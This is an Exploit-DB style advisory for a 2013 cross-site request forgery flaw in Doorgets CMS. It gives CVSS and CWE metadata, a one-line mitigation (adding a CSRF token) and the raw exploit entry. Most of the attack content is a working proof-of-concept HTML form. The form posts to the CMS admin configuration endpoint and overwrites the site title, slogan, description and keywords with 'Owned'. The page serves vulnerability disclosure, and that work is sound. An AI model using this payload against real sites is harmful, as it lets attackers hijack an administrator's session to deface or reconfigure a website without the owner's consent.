Doorgets CSRF Vulnerability

vendor:

Doorgets CMS

by:

n0pe

4,3

CVSS

MEDIUM

Cross-Site Request Forgery (CSRF)

352

CWE

Product Name: Doorgets CMS

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: BackBox Linux 3

2013

Doorgets CSRF Vulnerability

This vulnerability allows an attacker to change the configuration of the site by sending a malicious request to the server. The proof of concept code provided in the text shows an example of a malicious request that can be sent to the server to change the configuration of the website.

Mitigation:

Implementing a CSRF token in the request can help mitigate this vulnerability.

Source

Exploit-DB raw data:

# Title: Doorgets CSRF Vulnerability
# Author: n0pe
# Software Link: http://www.doorgets.com/
# Download: http://www.doorgets.com/?sources_cms
# Tested: BackBox Linux 3

With this vulnerability you can change the configuration of the site.


Proof of concept:

<html>
	<body>
		<form name="csrf" method="post" action="http://localhost/door/admin/?r=config&siteweb">
			Title <input type="text" id="website_title" name="website_title" value="Owned"><br />
			Slogan <input type="text" id="website_slogan" name="website_slogan" value="Owned"><br />
			Description <input type="text" id="website_description" name="website_description" value="Owned"><br />
			Copyright <input type="text" id="website_copyright" name="website_copyright" value="lol"><br />
			Year of creation <input  type="text" id="website_year" name="website_year" value="2013"><br />
			Keywords <input type="text" id="website_keywords" name="website_keywords" value="Owned"><br />
			ID Facebook <input type="text" id="website_id_facebook" name="website_id_facebook" value=""> <br />
			Disqus <input  type="text" id="website_id_disqus" name="website_id_disqus" value=""> <br />
			<input type="radio" name="website_theme"  id="website_theme_doorgets-home"  value="doorgets-home" doorgets-light >doorgets-home<br />                                    
			<input type="radio" name="website_theme"  id="website_theme_doorgets-light"  value="doorgets-light" checked="checked" >doorgets-light<br />          
			<input type="submit" id="website_submit" name="website_submit" value="Save">
		</form>
	</body>
</html>